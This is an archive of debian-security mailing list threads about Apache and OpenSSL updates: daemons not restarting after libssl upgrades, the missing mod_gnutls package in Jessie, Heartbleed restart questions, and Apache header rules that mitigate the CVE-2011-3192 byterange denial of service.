RE: Apache doesn't restart after new libssl is installed - it does on Debian 11.5
Hi Our apache restarts fine. I'm on Debian 11.5 with unattended-upgrades for bullseye-security ONLY We have: libssl1.1 Version: 1.1.1n-0+deb11u4) - updated 8 Feb 2023 and apache2 Version: 2.4.54-1~deb11u1 So is this a Debian 11.6 problem ?? Cheers Will Will Salmon, Systems & Infrastructure Support Officer (Linux web servers), - FMS Technology Enhanced Learning team (ex LTSU), - Newcastle University, Medical Sciences Graduate School office - Ridley Building 1, floor 3 E-mail: will.sal...@ncl.ac.uk -Original Message- From: Phil Endecott Sent: 08 February 2023 14:02 To: debian-security@lists.debian.org Subject: Apache doesn't restart after new libssl is installed ⚠ External sender. Take care when opening links or attachments. Do not provide your login details. Dear Experts, I have a Debian 11 system running Apache and unattended-upgrades. I received the DSA 5343-1 email advertising the new openssl package, 1.1.1n-0+deb11u4. Unattended-upgrades had installed this before I even read the email - great. But Apache has not been restarted, and it seems to be running with the old libssl still: # grep ssl /proc/661/maps 7fcb5bd97000-7fcb5bdb4000 r--p ca:02 265814 /usr/lib/x86_64-linux-gnu/libssl.so.1.1 (deleted) Obviously the security issues are not closed until Apache (and any other daemon linked with openssl) restart, and that may not happen for a long time! This is not the first time I have seen something like this happen. Whose responsibility is this? Should the Apache package somehow know that it needs to restart itself? Should the libssl package do something to cause Apache to restart? Should the unattended- upgrades package know to restart Apache when libssl has been upgraded? I know there is a mechanism of some kind to cause daemons to restart when libraries they use are being replaced; is that just for libc updates, or something? Thanks, Phil. P.S. If you Cc: me in your reply, I'll see it sooner.
RE: Apache doesn't restart after new libssl is installed
Sorry, I should have said that on our app. VMs Apache mod_ssl is NOT enabled as we use a proxy to add the SSL layer Cheers Will Salmon, Systems & Infrastructure Support Officer (Linux web servers), - FMS Technology Enhanced Learning team (ex LTSU), - Newcastle University, -Original Message- From: William Salmon Sent: 08 February 2023 16:06 To: Phil Endecott ; debian-security@lists.debian.org Subject: RE: Apache doesn't restart after new libssl is installed - it does on Debian 11.5 Hi Our apache restarts fine. I'm on Debian 11.5 with unattended-upgrades for bullseye-security ONLY We have: libssl1.1 Version: 1.1.1n-0+deb11u4) - updated 8 Feb 2023 and apache2 Version: 2.4.54-1~deb11u1 So is this a Debian 11.6 problem ?? Cheers Will Will Salmon, Systems & Infrastructure Support Officer (Linux web servers), - FMS Technology Enhanced Learning team (ex LTSU), - Newcastle University, -Original Message- From: Phil Endecott Sent: 08 February 2023 14:02 To: debian-security@lists.debian.org Subject: Apache doesn't restart after new libssl is installed ⚠ External sender. Take care when opening links or attachments. Do not provide your login details. Dear Experts, I have a Debian 11 system running Apache and unattended-upgrades. I received the DSA 5343-1 email advertising the new openssl package, 1.1.1n-0+deb11u4. Unattended-upgrades had installed this before I even read the email - great. But Apache has not been restarted, and it seems to be running with the old libssl still: # grep ssl /proc/661/maps 7fcb5bd97000-7fcb5bdb4000 r--p ca:02 265814 /usr/lib/x86_64-linux-gnu/libssl.so.1.1 (deleted) Obviously the security issues are not closed until Apache (and any other daemon linked with openssl) restart, and that may not happen for a long time! This is not the first time I have seen something like this happen. Whose responsibility is this? Should the Apache package somehow know that it needs to restart itself? Should the libssl package do something to cause Apache to restart? Should the unattended- upgrades package know to restart Apache when libssl has been upgraded? I know there is a mechanism of some kind to cause daemons to restart when libraries they use are being replaced; is that just for libc updates, or something? Thanks, Phil. P.S. If you Cc: me in your reply, I'll see it sooner.
Re: Apache doesn't restart after new libssl is installed
Henrik Ahlgren wrote: On Wed, 2023-02-08 at 14:01 +, Phil Endecott wrote: Whose responsibility is this? Should the Apache package somehow know that it needs to restart itself? Should the libssl package do something to cause Apache to restart? Should the unattended- upgrades package know to restart Apache when libssl has been upgraded? I know there is a mechanism of some kind to cause daemons to restart when libraries they use are being replaced; is that just for libc updates, or something? Have a look into the needrestart package, which is suggested, but not required, by unattended-upgrades. Thanks for the suggestion - yes, this does seem to be what I need. I may file a bug suggesting that this is installed (and enabled) by default, in particular for the Debian cloud images which have had unattended-upgrades installed for longer than other systems. Fundamentally I think that unattended-upgrades without restarting daemons is just giving a false sense of security. Thoughts anyone? Regards, Phil.
Re: [External Email] Re: Apache doesn't restart after new libssl is installed
Would that not be the responsibility of the systemd bit for Apache (if using systemd)? That said, I am not sure systemd does a great job of restarting a service. Might require tailoring on the particular server. https://ma.ttias.be/auto-restart-crashed-service-systemd/ On Wed, 2023-02-08 at 14:01 +, Phil Endecott wrote: Whose responsibility is this? Should the Apache package somehow know that it needs to restart itself? Should the libssl package do something to cause Apache to restart? Should the unattended- upgrades package know to restart Apache when libssl has been upgraded? I know there is a mechanism of some kind to cause daemons to restart when libraries they use are being replaced; is that just for libc updates, or something? Have a look into the needrestart package, which is suggested, but not required, by unattended-upgrades. -- @ITS Craig M. Houck ><> Binghamton University - ITS:Systems
Re: Apache doesn't restart after new libssl is installed
On Wed, 2023-02-08 at 14:01 +, Phil Endecott wrote: > Whose responsibility is this? Should the Apache package somehow > know that it needs to restart itself? Should the libssl package > do something to cause Apache to restart? Should the unattended- > upgrades package know to restart Apache when libssl has been > upgraded? > > I know there is a mechanism of some kind to cause daemons to > restart when libraries they use are being replaced; is that just > for libc updates, or something? Have a look into the needrestart package, which is suggested, but not required, by unattended-upgrades.
Apache doesn't restart after new libssl is installed
Dear Experts, I have a Debian 11 system running Apache and unattended-upgrades. I received the DSA 5343-1 email advertising the new openssl package, 1.1.1n-0+deb11u4. Unattended-upgrades had installed this before I even read the email - great. But Apache has not been restarted, and it seems to be running with the old libssl still: # grep ssl /proc/661/maps 7fcb5bd97000-7fcb5bdb4000 r--p ca:02 265814 /usr/lib/x86_64-linux-gnu/libssl.so.1.1 (deleted) Obviously the security issues are not closed until Apache (and any other daemon linked with openssl) restart, and that may not happen for a long time! This is not the first time I have seen something like this happen. Whose responsibility is this? Should the Apache package somehow know that it needs to restart itself? Should the libssl package do something to cause Apache to restart? Should the unattended- upgrades package know to restart Apache when libssl has been upgraded? I know there is a mechanism of some kind to cause daemons to restart when libraries they use are being replaced; is that just for libc updates, or something? Thanks, Phil. P.S. If you Cc: me in your reply, I'll see it sooner.
Re: Apache SSL in Jessie
On 2015-06-11 15:42, Nikolai Lusan wrote: On Thu, 2015-06-11 at 14:54 +0100, Jonathan Wiltshire wrote: See https://tracker.debian.org/pkg/mod-gnutls I removed it from Jessie in November 2014 with the following comments: #20141031 Bug #750857: FTBFS on many architectures, test suite errors # blocks gnutls28/libgcrypt20 transition Since then it didn't build on all supported architectures, so it has not migrated (even now) and therefore wasn't in Jessie. Does this mean I'm going to have to wait for a backport? Yes; it won't enter Jessie now. You could offer to help the maintainers get the package into shape and backported... -- Jonathan Wiltshire j...@debian.org Debian Developer http://people.debian.org/~jmw 4096R: 0xD3524C51 / 0A55 B7C5 1223 3942 86EC 74C3 5394 479D D352 4C51 i have six years of solaris sysadmin experience, from 8->10. i am well qualified to say it is made from bonghits layered on top of bonghits -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/3c48eb719ee336f98b767109cab7a...@hogwarts.powdarrmonkey.net
Re: Apache SSL in Jessie
On Thu, 2015-06-11 at 14:54 +0100, Jonathan Wiltshire wrote: > > See https://tracker.debian.org/pkg/mod-gnutls > > I removed it from Jessie in November 2014 with the following comments: > > #20141031 > Bug #750857: FTBFS on many architectures, test suite errors > # blocks gnutls28/libgcrypt20 transition > > Since then it didn't build on all supported architectures, so it has not > migrated (even now) and therefore wasn't in Jessie. Does this mean I'm going to have to wait for a backport? -- Nikolai Lusan signature.asc Description: This is a digitally signed message part
Re: Apache SSL in Jessie
On 2015-06-11 14:38, Nikolai Lusan wrote: On Thu, 2015-06-11 at 13:00 +, Lee Packham wrote: The module is available by default... it is no longer separated. Which is mod_ssl, not mod_gnutls - the configuration directives are completely different, as are the linked libs. I think it's a little odd that a package (libapache2-mod-gnutls) that was in all previous releases, and is still in unstable, is not available in stable. See https://tracker.debian.org/pkg/mod-gnutls I removed it from Jessie in November 2014 with the following comments: #20141031 Bug #750857: FTBFS on many architectures, test suite errors # blocks gnutls28/libgcrypt20 transition Since then it didn't build on all supported architectures, so it has not migrated (even now) and therefore wasn't in Jessie. -- Jonathan Wiltshire j...@debian.org Debian Developer http://people.debian.org/~jmw 4096R: 0xD3524C51 / 0A55 B7C5 1223 3942 86EC 74C3 5394 479D D352 4C51 i have six years of solaris sysadmin experience, from 8->10. i am well qualified to say it is made from bonghits layered on top of bonghits -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/8ad755f167c22ef89983104366851...@hogwarts.powdarrmonkey.net
Re: Apache SSL in Jessie
Hm https://bugs.debian.org/750857#55 Re-entered it Jessie after the bug was closed? Or ist it missing in Jessie since 31 Oct 2014? Am 11. Juni 2015 15:38:54 MESZ, schrieb Nikolai Lusan : >On Thu, 2015-06-11 at 13:00 +, Lee Packham wrote: >> The module is available by default... it is no longer separated. > >Which is mod_ssl, not mod_gnutls - the configuration directives are >completely different, as are the linked libs. > >I think it's a little odd that a package (libapache2-mod-gnutls) that >was in all previous releases, and is still in unstable, is not >available >in stable. > >-- >Nikolai Lusan
Re: Apache SSL in Jessie
On Thu, 2015-06-11 at 13:00 +, Lee Packham wrote: > The module is available by default... it is no longer separated. Which is mod_ssl, not mod_gnutls - the configuration directives are completely different, as are the linked libs. I think it's a little odd that a package (libapache2-mod-gnutls) that was in all previous releases, and is still in unstable, is not available in stable. -- Nikolai Lusan signature.asc Description: This is a digitally signed message part
Re: Apache SSL in Jessie
Just to nail that home (I just checked one of my hosts): # dpkg-query -S /usr/lib/apache2/modules/mod_ssl.so apache2-bin: /usr/lib/apache2/modules/mod_ssl.so On Thu, 11 Jun 2015 at 14:00 Lee Packham wrote: > The module is available by default... it is no longer separated. > > > On Thu, 11 Jun 2015 at 13:55 Nikolai Lusan wrote: > >> Hi, >> >> I just updated a work machine from Wheezy to Jessie. I was alarmed to >> find that Apache was no longer running. The cause of this being a >> problem loading mod_gnutls. After a bunch of digging about it turns out >> that (according to packages.debian.org) there is no >> libapache2-mod-gnutls available for Jessie. It is however available in >> Squeeze, Squeeze-lts, Wheezy, and Sid. There is also no mod_ssl package >> in Jessie. >> >> In short how am I supposed to get any SSL/TLS into apache on Jessie >> installs? >> >> -- >> Nikolai Lusan >> >
Re: Apache SSL in Jessie
The module is available by default... it is no longer separated. On Thu, 11 Jun 2015 at 13:55 Nikolai Lusan wrote: > Hi, > > I just updated a work machine from Wheezy to Jessie. I was alarmed to > find that Apache was no longer running. The cause of this being a > problem loading mod_gnutls. After a bunch of digging about it turns out > that (according to packages.debian.org) there is no > libapache2-mod-gnutls available for Jessie. It is however available in > Squeeze, Squeeze-lts, Wheezy, and Sid. There is also no mod_ssl package > in Jessie. > > In short how am I supposed to get any SSL/TLS into apache on Jessie > installs? > > -- > Nikolai Lusan >
Apache SSL in Jessie
Hi, I just updated a work machine from Wheezy to Jessie. I was alarmed to find that Apache was no longer running. The cause of this being a problem loading mod_gnutls. After a bunch of digging about it turns out that (according to packages.debian.org) there is no libapache2-mod-gnutls available for Jessie. It is however available in Squeeze, Squeeze-lts, Wheezy, and Sid. There is also no mod_ssl package in Jessie. In short how am I supposed to get any SSL/TLS into apache on Jessie installs? -- Nikolai Lusan signature.asc Description: This is a digitally signed message part
RE: [SECURITY] [DSA 2991-1] modsecurity-apache security update
Ryan, Can you tell me if we use the below module? Thanks, Mike Gronbach Tech Support 402-332-2265 This communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain confidential and legally privileged information. If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited. If you have received this in error, please reply immediately to the sender and delete this message. Thank you. -Original Message- From: Salvatore Bonaccorso [mailto:car...@master.debian.org] On Behalf Of Salvatore Bonaccorso Sent: Sunday, July 27, 2014 12:54 PM To: debian-security-annou...@lists.debian.org Subject: [SECURITY] [DSA 2991-1] modsecurity-apache security update Importance: High -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 - - Debian Security Advisory DSA-2991-1 secur...@debian.org http://www.debian.org/security/ Salvatore Bonaccorso July 27, 2014 http://www.debian.org/security/faq - - Package: modsecurity-apache CVE ID : CVE-2013-5705 Martin Holst Swende discovered a flaw in the way chunked requests are handled in ModSecurity, an Apache module whose purpose is to tighten the Web application security. A remote attacker could use this flaw to bypass intended mod_security restrictions by using chunked transfer coding with a capitalized Chunked value in the Transfer-Encoding HTTP header, allowing to send requests containing content that should have been removed by mod_security. For the stable distribution (wheezy), this problem has been fixed in version 2.6.6-6+deb7u2. For the testing distribution (jessie), this problem has been fixed in version 2.7.7-1. For the unstable distribution (sid), this problem has been fixed in version 2.7.7-1. We recommend that you upgrade your modsecurity-apache packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-annou...@lists.debian.org -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQIcBAEBCgAGBQJT1TyJAAoJEAVMuPMTQ89EPbcP/3Wp/A51dg7AEfLFAyJfm8lG 5/8GAIU/UuFtZfigv9yRi1d7ZkFWbihSKlAxFju2yzHP7dlFG8jawLDYT3kB0HP4 DPxDbsCXr/hxnE13sSdKOUnb2Geonpkxj9XOMoWlRy73fcBvURd/8hee1ecznP5M 5ShIh1ycKtbobFPszuohmeX02Hihgyhv1pcDM33kJhn+khHLwA8Qp3LZPdRqkxZr jn1mczla0U1mAB+ABh2/aHtIRWj5NEfaNNu5KBPzFSbYVtmtp/HfR3wh6Y/CQiNw TcYv4vXDrr0EKLQbTfdlbsnS1z1ljSUnzZXzL9dqMuJul19wyqitVQHfyKcW09Qd eXDnPO1ugTpc6OVXKwDsHYge5z5G/0oJrb+TAhwkm7OAWtRpQ9ACIq1l/Zd4y3L+ fbcrBQ70sJXnv3G9kmH/EqpRs6EfwCkoS5TQxJdqF5uagXC6t+DVrPID3/deVyoJ Rdb39EnwdLjOJQG3D2I9RBAVNyc+V92A+8LjBLBe6py0GpHaF/xza1gOtNOeDXaU sVIWovygVXS1bkTtoaTt5I8K38b3scm1CY+SrEDVbpEgmSSn/SAo+6EmSEzwuBFe dhVciIc5M1e8iUmsI3b/CKyB9BnFenEcgfUAXUT8N/hGZtNgwoMDZkGjaAMI5ZtV m9gyPKh1q8m5/qhuiXm4 =PvWw -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-security-announce-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/e1xbsdm-00016h...@master.debian.org -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/ffc6b323fb24b348b08290431be663d10a5abc7...@pbcms1.pinnaclebancorp.com
Re: DSA 2896-2 openssl - Apache 2 not detected as service to restart by postinst?
* Jeremie Marguerie [140409 15:28]: > Yes the private keys can be compromised, but the perfect secrecy > should ensure that unless someone was doing an active MITM and had the > private key, the communications were safe. As the communication was part of the data transported with the ssl library those communication might have also been read via the vulnerability in question. The only think PFS gives you is that someone recording the encrypted traffic (i.e. being able to control some router between you and that host) and getting the private key (e.g. via this vulnerability) would not be able to decrypt this data (unless of course there is weak randomness on one of the two sides, in which case PFS as implemented in SSL does not even need you to get the private key). While the vulnerability means that anyone could have read data running over this server by just being able to open a tcp connection there, without any wiretapping, man in the middle or anything else special. Bernhard R. Link -- F8AC 04D5 0B9B 064B 3383 C3DA AFFC 96D1 151D FFDC -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/20140409213424.ga15...@client.brlink.eu
Re: DSA 2896-2 openssl - Apache 2 not detected as service to restart by postinst?
Yes the private keys can be compromised, but the perfect secrecy should ensure that unless someone was doing an active MITM and had the private key, the communications were safe. On Wed, Apr 9, 2014 at 3:06 PM, Artikel-140 wrote: > Hi, > > If Perfect Forward Secrecy is enabled, it there still a change that the > private keys are compromised? This is the hole point about PFS, right? > > Grtz, > > > On 04/09/2014 02:15 PM, bsod wrote: >> Am 2014-04-09 13:38, schrieb Vladislav Kurz: >>> So, why does openssh-server depend on libssl ? >> oh... my bad, searched for dependencies openssl instead of libssl. >> >> However, it still does not use TLS and is therefore not concerned by >> bugs in the heartbeat extension to it. >> >> Kind regards, >> >> Chris >> >> > > > -- > > > -- > To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org > with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org > Archive: https://lists.debian.org/20140409131404.dd331...@bendel.debian.org > -- Jérémie MARGUERIE -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/CAKS89Gr-f8RTZ7aFpsQ4cxhf1ung0p860WWb=rkucytvryg...@mail.gmail.com
Re: DSA 2896-2 openssl - Apache 2 not detected as service to restart by postinst?
Hi, If Perfect Forward Secrecy is enabled, it there still a change that the private keys are compromised? This is the hole point about PFS, right? Grtz, On 04/09/2014 02:15 PM, bsod wrote: > Am 2014-04-09 13:38, schrieb Vladislav Kurz: >> So, why does openssh-server depend on libssl ? > oh... my bad, searched for dependencies openssl instead of libssl. > > However, it still does not use TLS and is therefore not concerned by > bugs in the heartbeat extension to it. > > Kind regards, > > Chris > > -- -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/20140409131404.dd331...@bendel.debian.org
Re: DSA 2896-2 openssl - Apache 2 not detected as service to restart by postinst?
Am 2014-04-09 13:38, schrieb Vladislav Kurz: So, why does openssh-server depend on libssl ? oh... my bad, searched for dependencies openssl instead of libssl. However, it still does not use TLS and is therefore not concerned by bugs in the heartbeat extension to it. Kind regards, Chris -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/ea95cf44bdaeef0eb91400df424f0...@zom.bi
Re: DSA 2896-2 openssl - Apache 2 not detected as service to restart by postinst?
Hi there Vladislav Kurz wrote: So, why does openssh-server depend on libssl ? ldd /usr/sbin/sshd says it needs libcrypto.so, which is part of openssl? Maybe the question should be does SSH use a heartbeat? Regards, Rob -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/li3d95$rim$1...@ger.gmane.org
Re: DSA 2896-2 openssl - Apache 2 not detected as service to restart by postinst?
On 13:26 Wed 09 Apr , bsod wrote: > Am 2014-04-09 12:42, schrieb Rob van der Putten: > >According to a post on slashdot SSH is not effected. I don't know if > >this is correct. > > (Open-)SSH is not affected as it does not use openssl at all. Should be the > same for other SSH daemons like dropbear as they are not using TLS in SSH > Protocol. Actually OpenSSH uses OpenSSL, it just does not use TLS for transport. OpenSSL comprises two libraries: libcrypto[1] and libssl, providing generic crypto facilities and transport security respectively. The affected functions (dtls1_process_heartbeat() and tls1_process_heartbeat()) reside in libssl. Software linking only against libcrypto.so.1.0.0[2] (which includes openssh, bind9, slapd - which uses GnuTLS for transport security by the way) should not be vulnerable, despite depending on libssl1.0.0. [1] http://wiki.openssl.org/index.php/Libcrypto_API [2] From [1]: "You can however use libcrypto without using libssl." Regards, Apollon -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/20140409114405.gb8...@marvin.ws.skroutz.gr
Re: DSA 2896-2 openssl - Apache 2 not detected as service to restart by postinst?
On Wednesday 09 of April 2014 13:26:06 bsod wrote: > Am 2014-04-09 12:42, schrieb Rob van der Putten: > > According to a post on slashdot SSH is not effected. I don't know if > > this is correct. > > (Open-)SSH is not affected as it does not use openssl at all. Should be > the same for other SSH daemons like dropbear as they are not using TLS > in SSH Protocol. So, why does openssh-server depend on libssl ? ldd /usr/sbin/sshd says it needs libcrypto.so, which is part of openssl? -- S pozdravem Vladislav Kurz === WebStep, s.r.o. (Ltd.) = a step to the Web === address: Mezirka 1, 602 00 Brno, CZ, tel: +420 548 214 711 Obchodní podmínky: http://zkrat.to/op === www.webstep.net === vladislav.k...@webstep.net ===
Re: DSA 2896-2 openssl - Apache 2 not detected as service to restart by postinst?
Am 2014-04-09 12:42, schrieb Rob van der Putten: According to a post on slashdot SSH is not effected. I don't know if this is correct. (Open-)SSH is not affected as it does not use openssl at all. Should be the same for other SSH daemons like dropbear as they are not using TLS in SSH Protocol. Kind Regards, Chris -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/cd338aaf511bed43638be1ac3f6a9...@zom.bi
Re: DSA 2896-2 openssl - Apache 2 not detected as service to restart by postinst?
On Wednesday, 2014-04-09 at 12:42:16 +0200, Rob van der Putten wrote: > AFAIK all services that use TLS + open-ssl are effected. > I generated new keys for Apache, Asterisk, Exim and imap and > restarted those services. > According to a post on slashdot SSH is not effected. I don't know if > this is correct. It would probably be a good idea not to rely on a fixed list of services which would exclude programs the user installed from other sources, but use something like this: grep libssl.so /proc/*/maps (Assuming that libcrypto.so did not change in this update.) I admit that mapping the list of processes to services is hard, so the best way would probably be to filter the list by known executables and list the unknowns for the user to restart by hand. Lupe Christoph -- | The politician's syllogism:| | We must do something | | This is something | | Therefore, we must do this.| -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/20140409112033.ga7...@lupe-christoph.de
Re: DSA 2896-2 openssl - Apache 2 not detected as service to restart by postinst?
On Wed, Apr 09, 2014 at 10:51:42AM +0300, Henrik Ahlgren wrote: If new services will be added to the restart check list, I think both puppet and puppetmaster should be included, too. The service snmpd should be restarted as well. At least checkrestart says so. Shade and sweet water! Stephan -- | Stephan Seitz E-Mail: s...@fsing.rootsland.net | | Public Keys: http://fsing.rootsland.net/~stse/keys.html | smime.p7s Description: S/MIME cryptographic signature
Re: DSA 2896-2 openssl - Apache 2 not detected as service to restart by postinst?
Hi there Salvatore Bonaccorso wrote: Yes this is unfortunately a bug in that part of the libssl1.0.0 postinst! apache2 is also affected and should be restarted after the openssl update. AFAIK all services that use TLS + open-ssl are effected. I generated new keys for Apache, Asterisk, Exim and imap and restarted those services. According to a post on slashdot SSH is not effected. I don't know if this is correct. Regards, Rob -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/li3868$q27$1...@ger.gmane.org
Re: DSA 2896-2 openssl - Apache 2 not detected as service to restart by postinst?
I've seen pound has this issue, sites which use pound as proxy need to restart pound manually, before that is done it doesnt use the newly installed openssl. 2014-04-09 09:51, Henrik Ahlgren skrev: On Tue, Apr 08, 2014 at 08:24:52PM +0200, Salvatore Bonaccorso wrote: Yes this is unfortunately a bug in that part of the libssl1.0.0 postinst! apache2 is also affected and should be restarted after the openssl update. If new services will be added to the restart check list, I think both puppet and puppetmaster should be included, too. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/534502f1.4090...@glesys.se
Re: DSA 2896-2 openssl - Apache 2 not detected as service to restart by postinst?
On Tue, Apr 08, 2014 at 08:24:52PM +0200, Salvatore Bonaccorso wrote: > Yes this is unfortunately a bug in that part of the libssl1.0.0 > postinst! apache2 is also affected and should be restarted after the > openssl update. If new services will be added to the restart check list, I think both puppet and puppetmaster should be included, too. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/20140409075141.ga30...@seestieto.com
Re: DSA 2896-2 openssl - Apache 2 not detected as service to restart by postinst?
Hi Frederik, On Tue, Apr 08, 2014 at 04:01:37PM +, Fredrik Jonson wrote: > Hi, > > After upgrading the packages in DSA 2896-2 (openssl security update), > the second version, 1.0.1e-2+deb7u6, that detects services to restart, I > noted that the postist script didn't suggest that I should restart > apache2. > > As far as I can tell apache2 (apache2.2-bin) depends on libssl1.0.0 and > could be affected by CVE-2014-0160. Correct? > > I note that the postinst script in libssl1.0.0 searches for the virtual > package apache2-common which is not installed on my servers. > > Is this a bug in the postinst script, or is apache2 not affected, or is > it a user error to not have the virtual package installed? > > BTW, thanks to all involved in Debian's rapid response to this CVE! Yes this is unfortunately a bug in that part of the libssl1.0.0 postinst! apache2 is also affected and should be restarted after the openssl update. Salvatore signature.asc Description: Digital signature
AW: DSA 2896-2 openssl - Apache 2 not detected as service to restart by postinst?
Hi, I can confirm this behaviour. In addition I am quite sure that apache2 is affected because I have tested it with the heartbleed check (http://heartbleed.com) directly after the security update and it was still vulnerable. After I restarted apache2 manually the vulnerability was gone. Regards, Felix > -Ursprüngliche Nachricht- > Von: Fredrik Jonson [mailto:fred...@jonson.org] > Gesendet: Dienstag, 08. April 2014 18:02 > An: debian-security@lists.debian.org > Betreff: DSA 2896-2 openssl - Apache 2 not detected as service to restart by > postinst? > > Hi, > > After upgrading the packages in DSA 2896-2 (openssl security update), the > second version, 1.0.1e-2+deb7u6, that detects services to restart, I noted > that the postist script didn't suggest that I should restart apache2. > > As far as I can tell apache2 (apache2.2-bin) depends on libssl1.0.0 and could > be affected by CVE-2014-0160. Correct? > > I note that the postinst script in libssl1.0.0 searches for the virtual > package > apache2-common which is not installed on my servers. > > Is this a bug in the postinst script, or is apache2 not affected, or is it a > user > error to not have the virtual package installed? > > BTW, thanks to all involved in Debian's rapid response to this CVE! > -- > Fredrik Jonson > > > -- > To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org > with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org > Archive: https://lists.debian.org/slrnlk87b1.frm.fred...@biggles.jonson.org -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/710beceab6885242a9bcedd7a33f66483a15d...@vxc1.berlakovich.net
DSA 2896-2 openssl - Apache 2 not detected as service to restart by postinst?
Hi, After upgrading the packages in DSA 2896-2 (openssl security update), the second version, 1.0.1e-2+deb7u6, that detects services to restart, I noted that the postist script didn't suggest that I should restart apache2. As far as I can tell apache2 (apache2.2-bin) depends on libssl1.0.0 and could be affected by CVE-2014-0160. Correct? I note that the postinst script in libssl1.0.0 searches for the virtual package apache2-common which is not installed on my servers. Is this a bug in the postinst script, or is apache2 not affected, or is it a user error to not have the virtual package installed? BTW, thanks to all involved in Debian's rapid response to this CVE! -- Fredrik Jonson -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/slrnlk87b1.frm.fred...@biggles.jonson.org
Re: Grave apache dos possible through byterange requests
Carlos Alberto Lopez Perez wrote:
> The new advisory [1] recommends this:
>
> # Drop the Range header when more than 5 ranges.
> # CVE-2011-3192
> SetEnvIf Range (?:,.*?){5,5} bad-range=1
> RequestHeader unset Range env=bad-range
>
> # We always drop Request-Range; as this is a legacy
> # dating back to MSIE3 and Netscape 2 and 3.
> RequestHeader unset Request-Range
>
> # optional logging.
> CustomLog /var/log/apache2/range-CVE-2011-3192.log common
> env=bad-range
> CustomLog /var/log/apache2/range-CVE-2011-3192.log common
> env=bad-req-range
What's the use of the second CustomLog line?
'bad-req-range' is never set, is it?
- Thomas
--
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/4e5aa494.8030...@demonium.de
Re: Grave apache dos possible through byterange requests
On 26/08/11 13:22, linbloke wrote:
> Hello,
>
> I'm curious as to why you suggest option 2 over option 1 from the Apache
> advisory? My guess is that it is compatible with version 1.3 and 2.x and
> that is has stronger enforcement of the syntax (by requiring ^bytes=)
> rather than just 5 comma separated fields. Would the following be the
> equivalent update to option 1:
>
> # Drop the Range header when more than 5 ranges.
> # CVE-2011-3192
> SetEnvIf Range (,.*?){5,} bad-range=1
> SetEnvIf Request-Range (,.*?){5,} bad-range=1
> RequestHeader unset Range env=bad-range
> RequestHeader unset Request-Range env=bad-range
>
> # optional logging.
> CustomLog /var/log/apache2/range-CVE-2011-3192.log common env=bad-range
>
> I've put that into /etc/apaches/conf.d/CVE-2011-3192
>
> I appreciate that it clobbers both headers if either match but that's ok
> for me. If either match I'd be happier to drop the connection but I
> don't want to touch every virtualhost config and Rewrite rules scare me
> too.
>
>
> Best regards,
> LB
Didn't know the method 1 can be applied outside the vhost, so this is much
easier to deploy.
Thanks for the tip!
The new advisory [1] recommends this:
# Drop the Range header when more than 5 ranges.
# CVE-2011-3192
SetEnvIf Range (?:,.*?){5,5} bad-range=1
RequestHeader unset Range env=bad-range
# We always drop Request-Range; as this is a legacy
# dating back to MSIE3 and Netscape 2 and 3.
RequestHeader unset Request-Range
# optional logging.
CustomLog /var/log/apache2/range-CVE-2011-3192.log common env=bad-range
CustomLog /var/log/apache2/range-CVE-2011-3192.log common
env=bad-req-range
[1] http://lists.grok.org.uk/pipermail/full-disclosure/2011-August/082427.html
signature.asc
Description: OpenPGP digital signature
Re: Grave apache dos possible through byterange requests
